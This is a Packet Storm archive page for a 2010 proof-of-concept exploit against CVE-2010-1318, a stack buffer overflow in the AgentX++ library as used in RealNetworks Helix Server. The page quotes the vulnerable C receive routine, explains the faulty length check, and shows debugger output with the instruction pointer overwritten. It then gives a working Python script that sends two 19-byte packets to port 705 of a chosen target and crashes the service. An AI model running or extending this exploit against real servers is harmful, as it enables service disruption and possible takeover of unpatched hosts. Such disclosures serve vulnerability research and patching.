what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

AgentX++ Stack Buffer Overflow

AgentX++ Stack Buffer Overflow
Posted Apr 19, 2010
Authored by ZSploit.com | Site zsploit.com

AgentX++ stack buffer overflow proof of concept exploit.

tags | exploit, overflow, proof of concept
advisories | CVE-2010-1318
SHA-256 | 9e66d7c97044c835c099e68a991b581c76c73dadb00968bebac32159afe1bb6b

AgentX++ Stack Buffer Overflow

Change Mirror Download


# Exploit Title: Multiple Vendor AgentX++ Stack Buffer Overflow
Vulnerability
# Date: 2010-04-17
# Author: ZSploit.com
# Software Link: N/A
# Version: N/A
# Tested on: RealNetworks Helix Server v11
# CVE : CVE-2010-1318

#! /usr/bin/env python
###############################################################################
## File : zs_agentx_bof.py
## Description:
## :
## Created_On : Apr 17 2010
##
## (c) Copyright 2010, ZSploit.com. all rights reserved.
###############################################################################
"""
int AgentX::receive_agentx(int sd, AgentXPdu& pdu)
{

u_char buffer[AGENTX_HEADER_LEN+1]; [1]
u_int payloadLen;
boolean netByteOrder;
int status;

// read header
unsigned int bytesRead = 0;
while (bytesRead < AGENTX_HEADER_LEN) { [2]
#ifdef WIN32
if ((status = recv(sd, (char*)(buffer+bytesRead),
AGENTX_HEADER_LEN, 0)) <= 0) {

if (status == 0) return AGENTX_DISCONNECT;
if (status == SOCKET_ERROR) {
LOG_BEGIN(ERROR_LOG | 1);
LOG("AgentX: receive socket error (errno)");
LOG(WSAGetLastError());
LOG_END;
return AGENTX_DISCONNECT;
}
else {
LOG_BEGIN(ERROR_LOG | 1);
LOG("AgentX: receive unknown error (status)");
LOG(status);
LOG_END;
return AGENTX_DISCONNECT;
}
}
#else
if ((status = read(sd, (void *)(buffer+bytesRead),
AGENTX_HEADER_LEN)) <= 0) {

if (status == 0) return AGENTX_DISCONNECT;
if (errno == EBADF) return AGENTX_BADF;
else {
LOG_BEGIN(ERROR_LOG | 1);
LOG("AgentX: receive unknown error (errno)");
LOG(errno);
LOG_END;
return AGENTX_ERROR;
}
}
#endif
bytesRead += status;
}


[1] Allocates 0x14 bytes stack buffer
[2] The check should be consider the remainder bytes of the buffer

if we only send the data < 0x13 bytes, 2 packets will overwrite the stack
buffer.

0:009> g
(728.a3c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffff6 ebx=00000000 ecx=00161230 edx=7c8285ec esi=00cbfd14
edi=00ccff80
eip=41414141 esp=00cbfd08 ebp=41414141 iopl=0 nv up ei pl nz na po
nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010202
41414141 ?? ???
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:\WINDOWS\system32\mswsock.dll -
0:006> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00cbfd04 00edda20 0x41414141
00cbfd18 7c829fb5 0xedda20
00cbfd24 7c829f3d ntdll!RtlGetNtGlobalFlags+0x38
00cbfe0c 71b21a03 ntdll!RtlFreeHeap+0x126
00000000 00000000 mswsock+0x1a03

"""

import sys
import socket

if (len(sys.argv) != 2):
print "Usage:\t%s [target]" % sys.argv[0]
sys.exit(0)


data = "A" * 19

host = sys.argv[1]
port = 705

print "PoC for CVE-2010-1318 by ZSploit.com"
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, port))
print "Sending payload .."
s.send(data)
s.send(data)
except:
print "Error in send"
print "Done"
except:
print "Error in socket"



Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close